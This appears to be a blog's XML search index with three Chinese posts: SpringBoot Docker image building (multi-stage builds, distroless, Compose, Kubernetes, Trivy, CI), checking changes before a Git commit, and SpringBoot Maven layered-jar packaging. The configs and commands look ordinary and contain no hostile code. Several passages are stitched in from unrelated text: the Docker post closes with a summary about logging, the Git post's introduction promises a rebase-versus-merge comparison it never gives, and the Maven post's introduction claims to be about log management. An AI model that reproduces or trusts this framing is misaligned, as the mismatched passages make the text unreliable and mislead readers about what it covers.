class="line">.env</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-利用构建缓存"><a href="#5-2-利用构建缓存" class="headerlink" title="5.2 利用构建缓存"></a>5.2 利用构建缓存</h2><p>将不常变更的指令放在前面：</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 先复制pom.xml下载依赖（缓存命中率高）</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> pom.xml .</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> mvn dependency:go-offline</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 再复制源码（经常变化）</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> src ./src</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> mvn package -DskipTests</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-选择合适的基础镜像"><a href="#5-3-选择合适的基础镜像" class="headerlink" title="5.3 选择合适的基础镜像"></a>5.3 选择合适的基础镜像</h2><table><thead><tr><th>镜像</th><th>大小</th><th>适用场景</th></tr></thead><tbody><tr><td>eclipse-temurin:17-jdk</td><td>~400MB</td><td>需要编译</td></tr><tr><td>eclipse-temurin:17-jre</td><td>~250MB</td><td>纯运行</td></tr><tr><td>eclipse-temurin:17-jre-alpine</td><td>~180MB</td><td>追求最小体积</td></tr><tr><td>distroless-java17</td><td>~120MB</td><td>极致安全</td></tr></tbody></table><p>#</p><h2 id="5-4-Alpine版本注意事项"><a href="#5-4-Alpine版本注意事项" class="headerlink" title="5.4 Alpine版本注意事项"></a>5.4 Alpine版本注意事项</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre-alpine</span><br><span class="line"></span><br><span class="line"><span class="comment"># Alpine使用apk包管理</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apk add --no-cache curl</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：Alpine使用musl libc，某些JNI库可能不兼容。</p><h2 id="六、Distroless极简镜像"><a href="#六、Distroless极简镜像" class="headerlink" title="六、Distroless极简镜像"></a>六、Distroless极简镜像</h2><p>Google的distroless镜像只包含运行时依赖，无shell、无包管理器。</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 构建阶段</span></span><br><span class="line"><span class="keyword">FROM</span> maven:<span class="number">3.9</span>-eclipse-temurin-<span class="number">17</span> AS build</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> . .</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> mvn clean package -DskipTests</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行阶段使用distroless</span></span><br><span class="line"><span class="keyword">FROM</span> gcr.io/distroless/java17-debian12</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=build /app/target/*.jar app.jar</span></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">8080</span></span><br><span class="line"><span class="keyword">USER</span> nonroot:nonroot</span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;/app/app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>镜像体积最小</li><li>攻击面最小（无shell无法exec进入）</li><li>安全性最高</li></ul><p><strong>限制</strong>：</p><ul><li>无法进入容器调试</li><li>健康检查需要特殊处理</li></ul><h2 id="七、Docker-Compose配置"><a href="#七、Docker-Compose配置" class="headerlink" title="七、Docker Compose配置"></a>七、Docker Compose配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3.8&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">app:</span></span><br><span class="line">    <span class="attr">build:</span></span><br><span class="line">      <span class="attr">context:</span> <span class="string">.</span></span><br><span class="line">      <span class="attr">dockerfile:</span> <span class="string">Dockerfile</span></span><br><span class="line">      <span class="attr">args:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">JAR_FILE=target/*.jar</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">myapp:latest</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">myapp</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;8080:8080&quot;</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">JAVA_OPTS=-Dspring.profiles.active=prod</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">JVM_OPTS=-XX:MaxRAMPercentage=75.0</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">TZ=Asia/Shanghai</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./logs:/tmp</span></span><br><span class="line">    <span class="attr">healthcheck:</span></span><br><span class="line">      <span class="attr">test:</span> [<span class="string">&quot;CMD&quot;</span>, <span class="string">&quot;curl&quot;</span>, <span class="string">&quot;-f&quot;</span>, <span class="string">&quot;http://localhost:8080/actuator/health&quot;</span>]</span><br><span class="line">      <span class="attr">interval:</span> <span class="string">30s</span></span><br><span class="line">      <span class="attr">timeout:</span> <span class="string">3s</span></span><br><span class="line">      <span class="attr">retries:</span> <span class="number">3</span></span><br><span class="line">      <span class="attr">start_period:</span> <span class="string">40s</span></span><br><span class="line">    <span class="attr">deploy:</span></span><br><span class="line">      <span class="attr">resources:</span></span><br><span class="line">        <span class="attr">limits:</span></span><br><span class="line">          <span class="attr">cpus:</span> <span class="string">&#x27;2&#x27;</span></span><br><span class="line">          <span class="attr">memory:</span> <span class="string">1G</span></span><br><span class="line">        <span class="attr">reservations:</span></span><br><span class="line">          <span class="attr">cpus:</span> <span class="string">&#x27;1&#x27;</span></span><br><span class="line">          <span class="attr">memory:</span> <span class="string">512M</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br></pre></td></tr></table></figure><h2 id="八、Kubernetes部署配置"><a href="#八、Kubernetes部署配置" class="headerlink" title="八、Kubernetes部署配置"></a>八、Kubernetes部署配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">myapp</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">myapp</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">myapp</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">app</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">myapp:latest</span></span><br><span class="line">          <span class="attr">ports:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">8080</span></span><br><span class="line">          <span class="attr">env:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">JAVA_OPTS</span></span><br><span class="line">              <span class="attr">value:</span> <span class="string">&quot;-Dspring.profiles.active=prod&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">JVM_OPTS</span></span><br><span class="line">              <span class="attr">value:</span> <span class="string">&quot;-XX:MaxRAMPercentage=75.0 -XX:+UseG1GC&quot;</span></span><br><span class="line">          <span class="attr">resources:</span></span><br><span class="line">            <span class="attr">requests:</span></span><br><span class="line">              <span class="attr">memory:</span> <span class="string">&quot;512Mi&quot;</span></span><br><span class="line">              <span class="attr">cpu:</span> <span class="string">&quot;500m&quot;</span></span><br><span class="line">            <span class="attr">limits:</span></span><br><span class="line">              <span class="attr">memory:</span> <span class="string">&quot;1Gi&quot;</span></span><br><span class="line">              <span class="attr">cpu:</span> <span class="string">&quot;1000m&quot;</span></span><br><span class="line">          <span class="attr">livenessProbe:</span></span><br><span class="line">            <span class="attr">httpGet:</span></span><br><span class="line">              <span class="attr">path:</span> <span class="string">/actuator/health/liveness</span></span><br><span class="line">              <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line">            <span class="attr">initialDelaySeconds:</span> <span class="number">60</span></span><br><span class="line">            <span class="attr">periodSeconds:</span> <span class="number">30</span></span><br><span class="line">          <span class="attr">readinessProbe:</span></span><br><span class="line">            <span class="attr">httpGet:</span></span><br><span class="line">              <span class="attr">path:</span> <span class="string">/actuator/health/readiness</span></span><br><span class="line">              <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line">            <span class="attr">initialDelaySeconds:</span> <span class="number">30</span></span><br><span class="line">            <span class="attr">periodSeconds:</span> <span class="number">10</span></span><br><span class="line">          <span class="attr">lifecycle:</span></span><br><span class="line">            <span class="attr">preStop:</span></span><br><span class="line">              <span class="attr">exec:</span></span><br><span class="line">                <span class="attr">command:</span> [<span class="string">&quot;sh&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;sleep 10&quot;</span>]</span><br></pre></td></tr></table></figure><h2 id="九、镜像安全扫描"><a href="#九、镜像安全扫描" class="headerlink" title="九、镜像安全扫描"></a>九、镜像安全扫描</h2><p>#</p><h2 id="9-1-使用Trivy扫描"><a href="#9-1-使用Trivy扫描" class="headerlink" title="9.1 使用Trivy扫描"></a>9.1 使用Trivy扫描</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 安装Trivy</span></span><br><span class="line">brew install trivy</span><br><span class="line"></span><br><span class="line"><span class="comment"># 扫描镜像</span></span><br><span class="line">trivy image myapp:latest</span><br><span class="line"></span><br><span class="line"><span class="comment"># 仅显示高危漏洞</span></span><br><span class="line">trivy image --severity HIGH,CRITICAL myapp:latest</span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-2-使用Docker-Scout"><a href="#9-2-使用Docker-Scout" class="headerlink" title="9.2 使用Docker Scout"></a>9.2 使用Docker Scout</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker scout cves myapp:latest</span><br></pre></td></tr></table></figure><h2 id="十、CI-CD集成示例"><a href="#十、CI-CD集成示例" class="headerlink" title="十、CI/CD集成示例"></a>十、CI/CD集成示例</h2><p>#</p><h2 id="GitHub-Actions工作流"><a href="#GitHub-Actions工作流" class="headerlink" title="GitHub Actions工作流"></a>GitHub Actions工作流</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Build</span> <span class="string">and</span> <span class="string">Push</span> <span class="string">Docker</span> <span class="string">Image</span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="attr">branches:</span> [<span class="string">main</span>]</span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line">  <span class="attr">build:</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/checkout@v4</span></span><br><span class="line">      </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Set</span> <span class="string">up</span> <span class="string">JDK</span> <span class="number">17</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/setup-java@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">java-version:</span> <span class="string">&#x27;17&#x27;</span></span><br><span class="line">          <span class="attr">distribution:</span> <span class="string">&#x27;temurin&#x27;</span></span><br><span class="line">      </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Build</span> <span class="string">with</span> <span class="string">Maven</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">mvn</span> <span class="string">clean</span> <span class="string">package</span> <span class="string">-DskipTests</span></span><br><span class="line">      </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Set</span> <span class="string">up</span> <span class="string">Docker</span> <span class="string">Buildx</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">docker/setup-buildx-action@v3</span></span><br><span class="line">      </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Login</span> <span class="string">to</span> <span class="string">Docker</span> <span class="string">Hub</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">docker/login-action@v3</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">username:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.DOCKER_USERNAME</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">password:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.DOCKER_PASSWORD</span> <span class="string">&#125;&#125;</span></span><br><span class="line">      </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Build</span> <span class="string">and</span> <span class="string">push</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">docker/build-push-action@v5</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">context:</span> <span class="string">.</span></span><br><span class="line">          <span class="attr">push:</span> <span class="literal">true</span></span><br><span class="line">          <span class="attr">tags:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.DOCKER_USERNAME</span> <span class="string">&#125;&#125;/myapp:$&#123;&#123;</span> <span class="string">github.sha</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">cache-from:</span> <span class="string">type=gha</span></span><br><span class="line">          <span class="attr">cache-to:</span> <span class="string">type=gha,mode=max</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>构建高质量的SpringBoot Docker镜像需要关注：</p><ol><li><strong>体积优化</strong>：使用JRE、多阶段构建、分层提取</li><li><strong>安全加固</strong>：非root用户、distroless镜像、安全扫描</li><li><strong>性能调优</strong>：容器感知JVM参数、GC选择</li><li><strong>可观测性</strong>：健康检查、Actuator端点、日志收集</li><li><strong>构建效率</strong>：缓存策略、.dockerignore、并行构建</li></ol><p>掌握这些实践，能够打造出既轻量又安全的生产级容器镜像。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Spring </tag>
            
            <tag> SpringBoot </tag>
            
            <tag> Docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 提交前如何检查改动</title>
      <link href="//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/"/>
      <url>//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-提交前如何检查改动"><a href="#Git-提交前如何检查改动" class="headerlink" title="Git 提交前如何检查改动"></a>Git 提交前如何检查改动</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot Maven打包优化</title>
      <link href="//springboot-maven-package-optimize/"/>
      <url>//springboot-maven-package-optimize/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot-Maven打包优化"><a href="#SpringBoot-Maven打包优化" class="headerlink" title="SpringBoot Maven打包优化"></a>SpringBoot Maven打包优化</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="一、SpringBoot打包基础"><a href="#一、SpringBoot打包基础" class="headerlink" title="一、SpringBoot打包基础"></a>一、SpringBoot打包基础</h2><p>#</p><h2 id="1-1-传统打包方式的问题"><a href="#1-1-传统打包方式的问题" class="headerlink" title="1.1 传统打包方式的问题"></a>1.1 传统打包方式的问题</h2><p>普通Maven打包会产生两个问题：</p><p><strong>问题一：依赖分散</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">target/</span><br><span class="line">├── classes/          # 编译后的类文件</span><br><span class="line">├── lib/              # 依赖jar（如果有配置）</span><br><span class="line">└── myapp.jar         # 仅包含项目代码</span><br></pre></td></tr></table></figure><p>这种方式需要额外处理依赖，不适合直接部署。</p><p><strong>问题二：可执行jar的结构</strong><br>SpringBoot的fat jar虽然包含所有依赖，但默认结构不够优化：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">myapp.jar</span><br><span class="line">├── META-INF/</span><br><span class="line">│   └── MANIFEST.MF</span><br><span class="line">├── BOOT-INF/</span><br><span class="line">│   ├── classes/      # 项目代码</span><br><span class="line">│   └── lib/          # 所有依赖jar</span><br><span class="line">└── org/springframework/boot/loader/</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-spring-boot-maven-plugin基础配置"><a href="#1-2-spring-boot-maven-plugin基础配置" class="headerlink" title="1.2 spring-boot-maven-plugin基础配置"></a>1.2 spring-boot-maven-plugin基础配置</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">build</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">plugins</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;spring-boot.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">goal</span>&gt;</span>repackage<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">plugins</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">build</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>repackage</code>目标会将普通jar重新打包为可执行的fat jar。</p><h2 id="二、分层打包（Layered-Jars）"><a href="#二、分层打包（Layered-Jars）" class="headerlink" title="二、分层打包（Layered Jars）"></a>二、分层打包（Layered Jars）</h2><p>SpringBoot 2.3+ 引入了分层打包，利用Docker的缓存层机制加速构建。</p><p>#</p><h2 id="2-1-启用分层打包"><a href="#2-1-启用分层打包" class="headerlink" title="2.1 启用分层打包"></a>2.1 启用分层打包</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">layers</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">enabled</span>&gt;</span>true<span class="tag">&lt;/<span class="name">enabled</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">layers</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-分层结构解析"><a href="#2-2-分层结构解析" class="headerlink" title="2.2 分层结构解析"></a>2.2 分层结构解析</h2><p>启用后，jar内部会按以下层次组织：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">BOOT-INF/layers.idx</span><br><span class="line">├── dependencies      # 稳定不变的第三方依赖</span><br><span class="line">├── spring-boot-loader # SpringBoot加载器</span><br><span class="line">├── snapshot-dependencies # SNAPSHOT依赖</span><br><span class="line">├── application       # 频繁变动的项目代码和配置</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-提取分层内容"><a href="#2-3-提取分层内容" class="headerlink" title="2.3 提取分层内容"></a>2.3 提取分层内容</h2><p>使用<code>layertools</code>模式提取：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -Djarmode=layertools -jar myapp.jar extract</span><br></pre></td></tr></table></figure><p>生成的目录结构：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">extracted/</span><br><span class="line">├── dependencies/          # 第三方依赖</span><br><span class="line">├── spring-boot-loader/    # 加载器</span><br><span class="line">├── snapshot-dependencies/ # SNAPSHOT依赖</span><br><span class="line">└── application/           # 项目代码</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-配合Dockerfile使用"><a href="#2-4-配合Dockerfile使用" class="headerlink" title="2.4 配合Dockerfile使用"></a>2.4 配合Dockerfile使用</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre as builder</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /application</span></span><br><span class="line"><span class="keyword">ARG</span> JAR_FILE=target/*.jar</span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> <span class="variable">$&#123;JAR_FILE&#125;</span> application.jar</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> java -Djarmode=layertools -jar application.jar extract</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /application</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/dependencies/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/spring-boot-loader/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/snapshot-dependencies/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/application/ ./</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, <span class="string">&quot;org.springframework.boot.loader.JarLauncher&quot;</span>]</span></span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>依赖层不常变化，Docker缓存命中率高</li><li>只有代码变更时才需要重新推送application层</li><li>大幅减少镜像构建和推送时间</li></ul><h2 id="三、构建配置优化"><a href="#三、构建配置优化" class="headerlink" title="三、构建配置优化"></a>三、构建配置优化</h2><p>#</p><h2 id="3-1-排除开发依赖"><a href="#3-1-排除开发依赖" class="headerlink" title="3.1 排除开发依赖"></a>3.1 排除开发依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">excludeDevtools</span>&gt;</span>true<span class="tag">&lt;/<span class="name">excludeDevtools</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-排除特定依赖"><a href="#3-2-排除特定依赖" class="headerlink" title="3.2 排除特定依赖"></a>3.2 排除特定依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">excludes</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">exclude</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.example<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>test-util<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">exclude</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">excludes</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-自定义Main-Class"><a href="#3-3-自定义Main-Class" class="headerlink" title="3.3 自定义Main-Class"></a>3.3 自定义Main-Class</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">mainClass</span>&gt;</span>com.example.MyApplication<span class="tag">&lt;/<span class="name">mainClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-生成构建信息"><a href="#3-4-生成构建信息" class="headerlink" title="3.4 生成构建信息"></a>3.4 生成构建信息</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">goal</span>&gt;</span>build-info<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br></pre></td></tr></table></figure><p>自动生成<code>META-INF/build-info.properties</code>：</p><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="attr">build.artifact</span>=<span class="string">myapp</span></span><br><span class="line"><span class="attr">build.group</span>=<span class="string">com.example</span></span><br><span class="line"><span class="attr">build.name</span>=<span class="string">My Application</span></span><br><span class="line"><span class="attr">build.time</span>=<span class="string">2024-07-13T09:00:00.000Z</span></span><br><span class="line"><span class="attr">build.version</span>=<span class="string">1.0.0</span></span><br></pre></td></tr></table></figure><p>代码中获取：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> BuildProperties buildProperties;</span><br><span class="line"></span><br><span class="line"><span 